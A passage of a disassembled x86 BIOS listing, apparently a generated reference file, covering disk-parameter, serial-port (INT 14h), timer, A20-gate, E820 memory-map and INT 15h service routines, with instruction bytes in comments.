mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
jmp word [cs:bx+060b4h] ; 2e ff a7 b4 60
mov word [bp+010h], 0aa55h ; c7 46 10 55 aa
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 030h ; 80 cc 30
mov word [bp+016h], ax ; 89 46 16
mov word [bp+014h], strict word 00007h ; c7 46 14 07 00
jmp near 065b7h ; e9 31 04
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 a2 b7
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 007f5h ; b8 f5 07
push ax ; 50
mov ax, 007c7h ; b8 c7 07
jmp near 0623eh ; e9 9d 00
mov di, word [bp+00ah] ; 8b 7e 0a
mov es, [bp+004h] ; 8e 46 04
mov word [bp-024h], di ; 89 7e dc
mov [bp-01eh], es ; 8c 46 e2
mov ax, word [es:di+002h] ; 26 8b 45 02
mov word [bp-016h], ax ; 89 46 ea
mov ax, word [es:di+006h] ; 26 8b 45 06
mov word [bp-01ch], ax ; 89 46 e4
mov ax, word [es:di+004h] ; 26 8b 45 04
mov word [bp-01ah], ax ; 89 46 e6
mov dx, word [es:di+00ch] ; 26 8b 55 0c
mov cx, word [es:di+00eh] ; 26 8b 4d 0e
xor ax, ax ; 31 c0
xor bx, bx ; 31 db
mov si, strict word 00020h ; be 20 00
call 0a1b0h ; e8 dc 3f
mov word [bp-00eh], ax ; 89 46 f2
mov word [bp-010h], bx ; 89 5e f0
mov si, dx ; 89 d6
mov dx, word [es:di+008h] ; 26 8b 55 08
mov ax, word [es:di+00ah] ; 26 8b 45 0a
or si, dx ; 09 d6
or cx, ax ; 09 c1
mov al, byte [bp-004h] ; 8a 46 fc
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
les bx, [bp-008h] ; c4 5e f8
add bx, ax ; 01 c3
mov al, byte [es:bx+022h] ; 26 8a 47 22
mov dx, word [bp-00eh] ; 8b 56 f2
cmp dx, word [es:bx+03ch] ; 26 3b 57 3c
jnbe short 06226h ; 77 22
jne short 0624ch ; 75 46
mov dx, word [bp-010h] ; 8b 56 f0
cmp dx, word [es:bx+03ah] ; 26 3b 57 3a
jnbe short 06226h ; 77 17
mov dx, word [bp-010h] ; 8b 56 f0
cmp dx, word [es:bx+03ah] ; 26 3b 57 3a
jne short 0624ch ; 75 34
cmp cx, word [es:bx+038h] ; 26 3b 4f 38
jnbe short 06226h ; 77 08
jne short 0624ch ; 75 2c
cmp si, word [es:bx+036h] ; 26 3b 77 36
jc short 0624ch ; 72 26
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 02 b7
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 007f5h ; b8 f5 07
push ax ; 50
mov ax, 00808h ; b8 08 08
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 30 b7
add sp, strict byte 00008h ; 83 c4 08
jmp near 065e0h ; e9 94 03
mov ah, byte [bp+017h] ; 8a 66 17
mov byte [bp-012h], ah ; 88 66 ee
mov byte [bp-011h], 000h ; c6 46 ef 00
cmp word [bp-012h], strict byte 00044h ; 83 7e ee 44
je short 06262h ; 74 06
cmp word [bp-012h], strict byte 00047h ; 83 7e ee 47
jne short 06265h ; 75 03
jmp near 065b3h ; e9 4e 03
les bx, [bp-008h] ; c4 5e f8
mov word [es:bx+018h], strict word 00000h ; 26 c7 47 18 00 00
mov word [es:bx+01ah], strict word 00000h ; 26 c7 47 1a 00 00
mov word [es:bx+01ch], strict word 00000h ; 26 c7 47 1c 00 00
mov dx, word [bp-00eh] ; 8b 56 f2
mov word [es:bx+006h], dx ; 26 89 57 06
mov dx, word [bp-010h] ; 8b 56 f0
mov word [es:bx+004h], dx ; 26 89 57 04
mov word [es:bx+002h], cx ; 26 89 4f 02
mov word [es:bx], si ; 26 89 37
mov dx, word [bp-01ah] ; 8b 56 e6
mov word [es:bx+008h], dx ; 26 89 57 08
mov dx, word [bp-01ch] ; 8b 56 e4
mov word [es:bx+00ah], dx ; 26 89 57 0a
mov dx, word [bp-016h] ; 8b 56 ea
mov word [es:bx+00eh], dx ; 26 89 57 0e
mov word [es:bx+010h], 00200h ; 26 c7 47 10 00 02
mov word [es:bx+016h], strict word 00000h ; 26 c7 47 16 00 00
mov ah, byte [bp-004h] ; 8a 66 fc
mov byte [es:bx+00ch], ah ; 26 88 67 0c
mov bx, word [bp-012h] ; 8b 5e ee
sal bx, 1 ; d1 e3
xor ah, ah ; 30 e4
sal ax, 1 ; d1 e0
sal ax, 1 ; d1 e0
add bx, ax ; 01 c3
push ES ; 06
push word [bp-008h] ; ff 76 f8
call word [word bx-00002h] ; ff 97 fe ff
mov dx, ax ; 89 c2
les bx, [bp-008h] ; c4 5e f8
mov ax, word [es:bx+018h] ; 26 8b 47 18
mov word [bp-016h], ax ; 89 46 ea
mov es, [bp-01eh] ; 8e 46 e2
mov bx, word [bp-024h] ; 8b 5e dc
mov word [es:bx+002h], ax ; 26 89 47 02
test dl, dl ; 84 d2
je short 0633ah ; 74 54
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 42 b6
mov al, dl ; 88 d0
xor ah, ah ; 30 e4
push ax ; 50
push word [bp-012h] ; ff 76 ee
mov ax, 007f5h ; b8 f5 07
push ax ; 50
mov ax, 00759h ; b8 59 07
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 6e b6
add sp, strict byte 0000ah ; 83 c4 0a
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 00ch ; 80 cc 0c
jmp near 065e8h ; e9 d2 02
or ah, 0b2h ; 80 cc b2
jmp near 065e8h ; e9 cc 02
mov bx, word [bp+00ah] ; 8b 5e 0a
mov ax, word [bp+004h] ; 8b 46 04
mov word [bp-00ch], ax ; 89 46 f4
mov di, bx ; 89 df
mov word [bp-00ah], ax ; 89 46 f6
mov es, ax ; 8e c0
mov ax, word [es:bx] ; 26 8b 07
mov word [bp-014h], ax ; 89 46 ec
cmp ax, strict word 0001ah ; 3d 1a 00
jnc short 0633dh ; 73 06
jmp near 065e0h ; e9 a6 02
jmp near 065b3h ; e9 76 02
jnc short 06342h ; 73 03
jmp near 063d5h ; e9 93 00
mov al, byte [bp-004h] ; 8a 46 fc
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
les bx, [bp-008h] ; c4 5e f8
add bx, ax ; 01 c3
mov ax, word [es:bx+032h] ; 26 8b 47 32
mov dx, word [es:bx+030h] ; 26 8b 57 30
mov word [bp-026h], dx ; 89 56 da
mov dx, word [es:bx+034h] ; 26 8b 57 34
mov word [bp-028h], dx ; 89 56 d8
mov dx, word [es:bx+03ch] ; 26 8b 57 3c
mov word [bp-00eh], dx ; 89 56 f2
mov dx, word [es:bx+03ah] ; 26 8b 57 3a
mov word [bp-010h], dx ; 89 56 f0
mov cx, word [es:bx+038h] ; 26 8b 4f 38
mov si, word [es:bx+036h] ; 26 8b 77 36
mov dx, word [es:bx+028h] ; 26 8b 57 28
mov es, [bp-00ch] ; 8e 46 f4
mov bx, di ; 89 fb
mov word [es:bx], strict word 0001ah ; 26 c7 07 1a 00
mov word [es:bx+002h], strict word 00002h ; 26 c7 47 02 02 00
mov word [es:bx+004h], ax ; 26 89 47 04
mov word [es:bx+006h], strict word 00000h ; 26 c7 47 06 00 00
mov ax, word [bp-026h] ; 8b 46 da
mov word [es:bx+008h], ax ; 26 89 47 08
mov word [es:bx+00ah], strict word 00000h ; 26 c7 47 0a 00 00
mov ax, word [bp-028h] ; 8b 46 d8
mov word [es:bx+00ch], ax ; 26 89 47 0c
mov word [es:bx+00eh], strict word 00000h ; 26 c7 47 0e 00 00
mov word [es:bx+018h], dx ; 26 89 57 18
mov word [es:bx+010h], si ; 26 89 77 10
mov word [es:bx+012h], cx ; 26 89 4f 12
mov ax, word [bp-00eh] ; 8b 46 f2
mov bx, word [bp-010h] ; 8b 5e f0
mov dx, si ; 89 f2
mov si, strict word 00020h ; be 20 00
call 0a1a0h ; e8 d5 3d
mov bx, di ; 89 fb
mov word [es:bx+014h], dx ; 26 89 57 14
mov word [es:bx+016h], cx ; 26 89 4f 16
cmp word [bp-014h], strict byte 0001eh ; 83 7e ec 1e
jc short 06447h ; 72 6c
mov es, [bp-00ah] ; 8e 46 f6
mov word [es:di], strict word 0001eh ; 26 c7 05 1e 00
mov ax, word [bp-018h] ; 8b 46 e8
mov word [es:di+01ch], ax ; 26 89 45 1c
mov word [es:di+01ah], 00356h ; 26 c7 45 1a 56 03
mov cl, byte [bp-004h] ; 8a 4e fc
xor ch, ch ; 30 ed
mov ax, cx ; 89 c8
cwd ; 99
db 02bh, 0c2h
; sub ax, dx ; 2b c2
sar ax, 1 ; d1 f8
xor ah, ah ; 30 e4
mov dx, strict word 00006h ; ba 06 00
imul dx ; f7 ea
les bx, [bp-008h] ; c4 5e f8
add bx, ax ; 01 c3
mov ax, word [es:bx+00206h] ; 26 8b 87 06 02
mov word [bp-022h], ax ; 89 46 de
mov ax, word [es:bx+00208h] ; 26 8b 87 08 02
mov word [bp-020h], ax ; 89 46 e0
mov al, byte [es:bx+00205h] ; 26 8a 87 05 02
mov byte [bp-002h], al ; 88 46 fe
mov ax, cx ; 89 c8
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
mov bx, word [bp-008h] ; 8b 5e f8
add bx, ax ; 01 c3
mov al, byte [es:bx+027h] ; 26 8a 47 27
test al, al ; 84 c0
jne short 06438h ; 75 04
xor si, si ; 31 f6
jmp short 0643bh ; eb 03
mov si, strict word 00008h ; be 08 00
or si, strict byte 00010h ; 83 ce 10
cmp AL, strict byte 001h ; 3c 01
jne short 0644ah ; 75 08
mov dx, strict word 00001h ; ba 01 00
jmp short 0644ch ; eb 05
jmp near 064e2h ; e9 98 00
xor dx, dx ; 31 d2
or si, dx ; 09 d6
cmp AL, strict byte 003h ; 3c 03
jne short 06457h ; 75 05
mov ax, strict word 00003h ; b8 03 00
jmp short 06459h ; eb 02
xor ax, ax ; 31 c0
or si, ax ; 09 c6
mov ax, word [bp-022h] ; 8b 46 de
les bx, [bp-008h] ; c4 5e f8
mov word [es:bx+00234h], ax ; 26 89 87 34 02
mov ax, word [bp-020h] ; 8b 46 e0
mov word [es:bx+00236h], ax ; 26 89 87 36 02
mov al, byte [bp-004h] ; 8a 46 fc
xor ah, ah ; 30 e4
cwd ; 99
mov bx, strict word 00002h ; bb 02 00
idiv bx ; f7 fb
or dl, 00eh ; 80 ca 0e
mov ax, dx ; 89 d0
mov CL, strict byte 004h ; b1 04
sal ax, CL ; d3 e0
mov bx, word [bp-008h] ; 8b 5e f8
mov byte [es:bx+00238h], al ; 26 88 87 38 02
mov byte [es:bx+00239h], 0cbh ; 26 c6 87 39 02 cb
mov al, byte [bp-002h] ; 8a 46 fe
mov byte [es:bx+0023ah], al ; 26 88 87 3a 02
mov word [es:bx+0023bh], strict word 00001h ; 26 c7 87 3b 02 01 00
mov byte [es:bx+0023dh], 000h ; 26 c6 87 3d 02 00
mov word [es:bx+0023eh], si ; 26 89 b7 3e 02
mov word [es:bx+00240h], strict word 00000h ; 26 c7 87 40 02 00 00
mov byte [es:bx+00242h], 011h ; 26 c6 87 42 02 11
xor bl, bl ; 30 db
xor bh, bh ; 30 ff
jmp short 064c2h ; eb 05
cmp bh, 00fh ; 80 ff 0f
jnc short 064d8h ; 73 16
mov al, bh ; 88 f8
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
add dx, 00356h ; 81 c2 56 03
mov ax, word [bp-018h] ; 8b 46 e8
call 01652h ; e8 80 b1
add bl, al ; 00 c3
db 0feh, 0c7h
; inc bh ; fe c7
jmp short 064bdh ; eb e5
neg bl ; f6 db
les si, [bp-008h] ; c4 76 f8
mov byte [es:si+00243h], bl ; 26 88 9c 43 02
cmp word [bp-014h], strict byte 00042h ; 83 7e ec 42
jnc short 064ebh ; 73 03
jmp near 065b3h ; e9 c8 00
mov al, byte [bp-004h] ; 8a 46 fc
xor ah, ah ; 30 e4
cwd ; 99
db 02bh, 0c2h
; sub ax, dx ; 2b c2
sar ax, 1 ; d1 f8
xor ah, ah ; 30 e4
mov dx, strict word 00006h ; ba 06 00
imul dx ; f7 ea
les bx, [bp-008h] ; c4 5e f8
add bx, ax ; 01 c3
mov al, byte [es:bx+00204h] ; 26 8a 87 04 02
mov dx, word [es:bx+00206h] ; 26 8b 97 06 02
mov es, [bp-00ah] ; 8e 46 f6
mov word [es:di], strict word 00042h ; 26 c7 05 42 00
mov word [es:di+01eh], 0beddh ; 26 c7 45 1e dd be
mov word [es:di+020h], strict word 00024h ; 26 c7 45 20 24 00
mov word [es:di+022h], strict word 00000h ; 26 c7 45 22 00 00
test al, al ; 84 c0
jne short 06535h ; 75 0c
mov word [es:di+024h], 05349h ; 26 c7 45 24 49 53
mov word [es:di+026h], 02041h ; 26 c7 45 26 41 20
mov es, [bp-00ah] ; 8e 46 f6
mov word [es:di+028h], 05441h ; 26 c7 45 28 41 54
mov word [es:di+02ah], 02041h ; 26 c7 45 2a 41 20
mov word [es:di+02ch], 02020h ; 26 c7 45 2c 20 20
mov word [es:di+02eh], 02020h ; 26 c7 45 2e 20 20
test al, al ; 84 c0
jne short 0656ah ; 75 16
mov word [es:di+030h], dx ; 26 89 55 30
mov word [es:di+032h], strict word 00000h ; 26 c7 45 32 00 00
mov word [es:di+034h], strict word 00000h ; 26 c7 45 34 00 00
mov word [es:di+036h], strict word 00000h ; 26 c7 45 36 00 00
mov al, byte [bp-004h] ; 8a 46 fc
and AL, strict byte 001h ; 24 01
xor ah, ah ; 30 e4
mov es, [bp-00ah] ; 8e 46 f6
mov word [es:di+038h], ax ; 26 89 45 38
mov word [es:di+03ah], strict word 00000h ; 26 c7 45 3a 00 00
mov word [es:di+03ch], strict word 00000h ; 26 c7 45 3c 00 00
mov word [es:di+03eh], strict word 00000h ; 26 c7 45 3e 00 00
xor bl, bl ; 30 db
mov BH, strict byte 01eh ; b7 1e
jmp short 06595h ; eb 05
cmp bh, 040h ; 80 ff 40
jnc short 065aah ; 73 15
mov al, bh ; 88 f8
xor ah, ah ; 30 e4
mov dx, word [bp+00ah] ; 8b 56 0a
add dx, ax ; 01 c2
mov ax, word [bp+004h] ; 8b 46 04
call 01652h ; e8 ae b0
add bl, al ; 00 c3
db 0feh, 0c7h
; inc bh ; fe c7
jmp short 06590h ; eb e6
neg bl ; f6 db
mov es, [bp-00ah] ; 8e 46 f6
mov byte [es:di+041h], bl ; 26 88 5d 41
mov byte [bp+017h], 000h ; c6 46 17 00
xor bx, bx ; 31 db
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 9e b0
and byte [bp+01ch], 0feh ; 80 66 1c fe
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
cmp ax, strict word 00006h ; 3d 06 00
je short 065b3h ; 74 e4
cmp ax, strict word 00001h ; 3d 01 00
jc short 065e0h ; 72 0c
jbe short 065b3h ; 76 dd
cmp ax, strict word 00003h ; 3d 03 00
jc short 065e0h ; 72 05
cmp ax, strict word 00004h ; 3d 04 00
jbe short 065b3h ; 76 d3
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 001h ; 80 cc 01
mov word [bp+016h], ax ; 89 46 16
mov bl, byte [bp+017h] ; 8a 5e 17
xor bh, bh ; 30 ff
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 67 b0
or byte [bp+01ch], 001h ; 80 4e 1c 01
jmp short 065c6h ; eb c7
_int14_function: ; 0xf65ff LB 0x15c
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
sti ; fb
mov dx, word [bp+00eh] ; 8b 56 0e
sal dx, 1 ; d1 e2
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 5f b0
mov si, ax ; 89 c6
mov bx, ax ; 89 c3
mov dx, word [bp+00eh] ; 8b 56 0e
add dx, strict byte 0007ch ; 83 c2 7c
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 33 b0
mov cl, al ; 88 c1
cmp word [bp+00eh], strict byte 00004h ; 83 7e 0e 04
jnc short 0662bh ; 73 04
test si, si ; 85 f6
jnbe short 0662eh ; 77 03
jmp near 06751h ; e9 23 01
mov al, byte [bp+013h] ; 8a 46 13
cmp AL, strict byte 001h ; 3c 01
jc short 06642h ; 72 0d
jbe short 066a2h ; 76 6b
cmp AL, strict byte 003h ; 3c 03
je short 0669ah ; 74 5f
cmp AL, strict byte 002h ; 3c 02
je short 0669dh ; 74 5e
jmp near 0674bh ; e9 09 01
test al, al ; 84 c0
jne short 0669fh ; 75 59
lea dx, [bx+003h] ; 8d 57 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
or AL, strict byte 080h ; 0c 80
out DX, AL ; ee
lea si, [bx+001h] ; 8d 77 01
mov al, byte [bp+012h] ; 8a 46 12
test AL, strict byte 0e0h ; a8 e0
jne short 06665h ; 75 0c
mov AL, strict byte 017h ; b0 17
mov dx, bx ; 89 da
out DX, AL ; ee
mov AL, strict byte 004h ; b0 04
mov dx, si ; 89 f2
out DX, AL ; ee
jmp short 0667ch ; eb 17
and AL, strict byte 0e0h ; 24 e0
xor ah, ah ; 30 e4
mov CL, strict byte 005h ; b1 05
sar ax, CL ; d3 f8
mov cx, ax ; 89 c1
mov ax, 00600h ; b8 00 06
sar ax, CL ; d3 f8
mov dx, bx ; 89 da
out DX, AL ; ee
mov al, ah ; 88 e0
mov dx, si ; 89 f2
out DX, AL ; ee
mov al, byte [bp+012h] ; 8a 46 12
and AL, strict byte 01fh ; 24 1f
lea dx, [bx+003h] ; 8d 57 03
out DX, AL ; ee
lea dx, [bx+005h] ; 8d 57 05
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov byte [bp+013h], al ; 88 46 13
lea dx, [bx+006h] ; 8d 57 06
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov byte [bp+012h], al ; 88 46 12
jmp near 0672ch ; e9 92 00
jmp near 0673ah ; e9 9d 00
jmp short 066f0h ; eb 51
jmp near 0674bh ; e9 a9 00
mov dx, strict word 0006ch ; ba 6c 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 c3 af
mov si, ax ; 89 c6
lea dx, [bx+005h] ; 8d 57 05
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and ax, strict word 00060h ; 25 60 00
cmp ax, strict word 00060h ; 3d 60 00
je short 066d2h ; 74 17
test cl, cl ; 84 c9
je short 066d2h ; 74 13
mov dx, strict word 0006ch ; ba 6c 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 a6 af
cmp ax, si ; 39 f0
je short 066adh ; 74 e1
mov si, ax ; 89 c6
db 0feh, 0c9h
; dec cl ; fe c9
jmp short 066adh ; eb db
test cl, cl ; 84 c9
je short 066dch ; 74 06
mov al, byte [bp+012h] ; 8a 46 12
mov dx, bx ; 89 da
out DX, AL ; ee
lea dx, [bx+005h] ; 8d 57 05
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov byte [bp+013h], al ; 88 46 13
test cl, cl ; 84 c9
jne short 0672ch ; 75 43
or AL, strict byte 080h ; 0c 80
mov byte [bp+013h], al ; 88 46 13
jmp short 0672ch ; eb 3c
mov dx, strict word 0006ch ; ba 6c 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 75 af
mov si, ax ; 89 c6
lea dx, [bx+005h] ; 8d 57 05
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
test AL, strict byte 001h ; a8 01
jne short 0671ch ; 75 17
test cl, cl ; 84 c9
je short 0671ch ; 74 13
mov dx, strict word 0006ch ; ba 6c 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 5c af
cmp ax, si ; 39 f0
je short 066fbh ; 74 e5
mov si, ax ; 89 c6
db 0feh, 0c9h
; dec cl ; fe c9
jmp short 066fbh ; eb df
test cl, cl ; 84 c9
je short 06732h ; 74 12
mov byte [bp+013h], 000h ; c6 46 13 00
mov dx, bx ; 89 da
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov byte [bp+012h], al ; 88 46 12
and byte [bp+01ch], 0feh ; 80 66 1c fe
jmp short 06755h ; eb 23
lea dx, [bx+005h] ; 8d 57 05
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
jmp short 066ebh ; eb b1
lea dx, [si+005h] ; 8d 54 05
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov byte [bp+013h], al ; 88 46 13
lea dx, [si+006h] ; 8d 54 06
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
jmp short 06729h ; eb de
or byte [bp+01ch], 001h ; 80 4e 1c 01
jmp short 06755h ; eb 04
or byte [bp+01ch], 001h ; 80 4e 1c 01
lea sp, [bp-002h] ; 8d 66 fe
pop si ; 5e
pop bp ; 5d
retn ; c3
timer_wait_: ; 0xf675b LB 0x43
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push ax ; 50
mov bx, strict word 0000fh ; bb 0f 00
xor cx, cx ; 31 c9
call 0a170h ; e8 07 3a
mov cx, ax ; 89 c1
mov bx, dx ; 89 d3
mov dx, strict word 00061h ; ba 61 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 010h ; 24 10
mov byte [bp-006h], al ; 88 46 fa
add cx, strict byte 0ffffh ; 83 c1 ff
adc bx, strict byte 0ffffh ; 83 d3 ff
cmp bx, strict byte 0ffffh ; 83 fb ff
jne short 06788h ; 75 05
cmp cx, strict byte 0ffffh ; 83 f9 ff
je short 06797h ; 74 0f
mov dx, strict word 00061h ; ba 61 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 010h ; 24 10
cmp al, byte [bp-006h] ; 3a 46 fa
jne short 06788h ; 75 f3
jmp short 06778h ; eb e1
lea sp, [bp-004h] ; 8d 66 fc
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
set_enable_a20_: ; 0xf679e LB 0x30
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
mov bx, ax ; 89 c3
mov dx, 00092h ; ba 92 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov cl, al ; 88 c1
test bx, bx ; 85 db
je short 067b7h ; 74 05
or AL, strict byte 002h ; 0c 02
out DX, AL ; ee
jmp short 067bah ; eb 03
and AL, strict byte 0fdh ; 24 fd
out DX, AL ; ee
test cl, 002h ; f6 c1 02
je short 067c4h ; 74 05
mov ax, strict word 00001h ; b8 01 00
jmp short 067c6h ; eb 02
xor ax, ax ; 31 c0
lea sp, [bp-006h] ; 8d 66 fa
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
set_e820_range_: ; 0xf67ce LB 0x88
push si ; 56
push bp ; 55
mov bp, sp ; 89 e5
mov si, dx ; 89 d6
mov es, ax ; 8e c0
mov word [es:si], bx ; 26 89 1c
mov word [es:si+002h], cx ; 26 89 4c 02
mov al, byte [bp+00ah] ; 8a 46 0a
xor ah, ah ; 30 e4
mov word [es:si+004h], ax ; 26 89 44 04
mov word [es:si+006h], strict word 00000h ; 26 c7 44 06 00 00
sub word [bp+006h], bx ; 29 5e 06
sbb word [bp+008h], cx ; 19 4e 08
sub byte [bp+00ch], al ; 28 46 0c
mov ax, word [bp+006h] ; 8b 46 06
mov word [es:si+008h], ax ; 26 89 44 08
mov ax, word [bp+008h] ; 8b 46 08
mov word [es:si+00ah], ax ; 26 89 44 0a
mov al, byte [bp+00ch] ; 8a 46 0c
xor ah, ah ; 30 e4
mov word [es:si+00ch], ax ; 26 89 44 0c
mov word [es:si+00eh], strict word 00000h ; 26 c7 44 0e 00 00
mov ax, word [bp+00eh] ; 8b 46 0e
mov word [es:si+010h], ax ; 26 89 44 10
mov word [es:si+012h], strict word 00000h ; 26 c7 44 12 00 00
pop bp ; 5d
pop si ; 5e
retn 0000ah ; c2 0a 00
db 0ech, 0e9h, 0d8h, 0c1h, 0c0h, 0bfh, 091h, 090h, 089h, 088h, 083h, 052h, 04fh, 041h, 024h, 000h
db 063h, 06bh, 092h, 068h, 0a6h, 068h, 042h, 069h, 048h, 069h, 04dh, 069h, 052h, 069h, 0fah, 069h
db 01eh, 06ah, 03bh, 069h, 03bh, 069h, 0e8h, 06ah, 013h, 06bh, 026h, 06bh, 035h, 06bh, 042h, 069h
db 03eh, 06bh
_int15_function: ; 0xf6856 LB 0x343
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
mov al, byte [bp+013h] ; 8a 46 13
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
cmp ax, 000ech ; 3d ec 00
jnbe short 0689ch ; 77 35
push CS ; 0e
pop ES ; 07
mov cx, strict word 00011h ; b9 11 00
mov di, 06824h ; bf 24 68
repne scasb ; f2 ae
sal cx, 1 ; d1 e1
mov di, cx ; 89 cf
mov si, word [cs:di+06834h] ; 2e 8b b5 34 68
mov ax, word [bp+012h] ; 8b 46 12
xor ah, ah ; 30 e4
mov cx, word [bp+018h] ; 8b 4e 18
and cl, 0feh ; 80 e1 fe
mov dx, word [bp+018h] ; 8b 56 18
or dl, 001h ; 80 ca 01
mov bx, ax ; 89 c3
or bh, 086h ; 80 cf 86
jmp si ; ff e6
mov ax, word [bp+012h] ; 8b 46 12
xor ah, ah ; 30 e4
cmp ax, 000c0h ; 3d c0 00
je short 0689fh ; 74 03
jmp near 06b63h ; e9 c4 02
or byte [bp+018h], 001h ; 80 4e 18 01
jmp near 06b0ah ; e9 64 02
mov dx, ax ; 89 c2
cmp ax, strict word 00001h ; 3d 01 00
jc short 068bbh ; 72 0e
jbe short 068cfh ; 76 20
cmp ax, strict word 00003h ; 3d 03 00
je short 06900h ; 74 4c
cmp ax, strict word 00002h ; 3d 02 00
je short 068dfh ; 74 26
jmp short 0690dh ; eb 52
test ax, ax ; 85 c0
jne short 0690dh ; 75 4e
xor ax, ax ; 31 c0
call 0679eh ; e8 da fe
and byte [bp+018h], 0feh ; 80 66 18 fe
mov byte [bp+013h], 000h ; c6 46 13 00
jmp near 0693bh ; e9 6c 00
mov ax, strict word 00001h ; b8 01 00
call 0679eh ; e8 c9 fe
and byte [bp+018h], 0feh ; 80 66 18 fe
mov byte [bp+013h], dh ; 88 76 13
jmp near 0693bh ; e9 5c 00
mov dx, 00092h ; ba 92 00
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov dx, ax ; 89 c2
shr dx, 1 ; d1 ea
and dl, 001h ; 80 e2 01
mov ax, word [bp+012h] ; 8b 46 12
mov al, dl ; 88 d0
mov word [bp+012h], ax ; 89 46 12
and byte [bp+018h], 0feh ; 80 66 18 fe
xor al, dl ; 30 d0
mov byte [bp+013h], al ; 88 46 13
jmp near 0693bh ; e9 3b 00
and byte [bp+018h], 0feh ; 80 66 18 fe
mov byte [bp+013h], ah ; 88 66 13
mov word [bp+00ch], ax ; 89 46 0c
jmp near 0693bh ; e9 2e 00
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 1b b0
mov ax, word [bp+012h] ; 8b 46 12
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 0082eh ; b8 2e 08
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 4d b0
add sp, strict byte 00006h ; 83 c4 06
or byte [bp+018h], 001h ; 80 4e 18 01
mov ax, word [bp+012h] ; 8b 46 12
xor ah, ah ; 30 e4
or ah, 086h ; 80 cc 86
mov word [bp+012h], ax ; 89 46 12
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
mov word [bp+018h], dx ; 89 56 18
jmp near 069f4h ; e9 ac 00
mov word [bp+018h], dx ; 89 56 18
jmp short 0693bh ; eb ee
mov word [bp+018h], cx ; 89 4e 18
jmp short 06938h ; eb e6
test byte [bp+012h], 0ffh ; f6 46 12 ff
jne short 069c7h ; 75 6f
mov dx, 000a0h ; ba a0 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 f1 ac
test AL, strict byte 001h ; a8 01
jne short 069c4h ; 75 5f
mov bx, strict word 00001h ; bb 01 00
mov dx, 000a0h ; ba a0 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 ef ac
mov bx, word [bp+014h] ; 8b 5e 14
mov dx, 00098h ; ba 98 00
mov ax, strict word 00040h ; b8 40 00
call 0167ch ; e8 ff ac
mov bx, word [bp+00ch] ; 8b 5e 0c
mov dx, 0009ah ; ba 9a 00
mov ax, strict word 00040h ; b8 40 00
call 0167ch ; e8 f3 ac
mov bx, word [bp+00eh] ; 8b 5e 0e
mov dx, 0009ch ; ba 9c 00
mov ax, strict word 00040h ; b8 40 00
call 0167ch ; e8 e7 ac
mov bx, word [bp+010h] ; 8b 5e 10
mov dx, 0009eh ; ba 9e 00
